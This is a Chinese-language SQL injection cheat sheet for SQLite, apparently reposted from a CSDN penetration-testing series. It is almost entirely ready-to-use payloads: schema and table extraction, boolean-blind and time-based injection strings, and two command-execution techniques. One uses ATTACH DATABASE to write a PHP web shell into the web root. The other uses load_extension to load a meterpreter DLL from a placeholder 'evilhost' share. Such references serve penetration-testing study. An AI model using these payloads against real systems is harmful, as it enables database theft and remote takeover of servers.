WEB渗透Web突破篇-SQL注入（SQLite）

WEB渗透Web突破篇-SQL注入（数据库判断）-CSDN博客

WEB渗透Web突破篇-SQL注入（MYSQL）-CSDN博客
WEB渗透Web突破篇-SQL注入（MSSQL）-CSDN博客
WEB渗透Web突破篇-SQL注入（Oracle）-CSDN博客
WEB渗透Web突破篇-SQL注入（PostgreSQL）-CSDN博客

WEB渗透Web突破篇-SQL注入（SQLite）-CSDN博客
WEB渗透Web突破篇-SQL注入（DB2）-CSDN博客
WEB渗透Web突破篇-SQL注入（SQLMAP）-CSDN博客
注释符

1. --
2. /**/

复制代码

版本

1. select sqlite_version();

复制代码

字符型注入 - 获取数据库结构

1. SELECT sql FROM sqlite_schema

复制代码

整数/字符串型 - 提取表名

1. SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
2. 使用limit X+1 offset X，提取所有表

复制代码

整数/字符串型 - 提取列名

1. SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
2. SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'

复制代码

布尔范例 - 盘算表数目

1. and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table

复制代码

布尔范例 - 罗列表名

1. and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number

复制代码

布尔范例 - 获取数据

1. and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')

复制代码

时间范例

1. AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))

复制代码

远程实行下令 - ATTACH DATABASE

1. ATTACH DATABASE '/var/www/lol.php' AS lol;
2. CREATE TABLE lol.pwn (dataz text);
3. INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--

复制代码

远程实行下令 - Load_extension

1. UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
2. 默认情况下，此组件是禁用的

复制代码

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。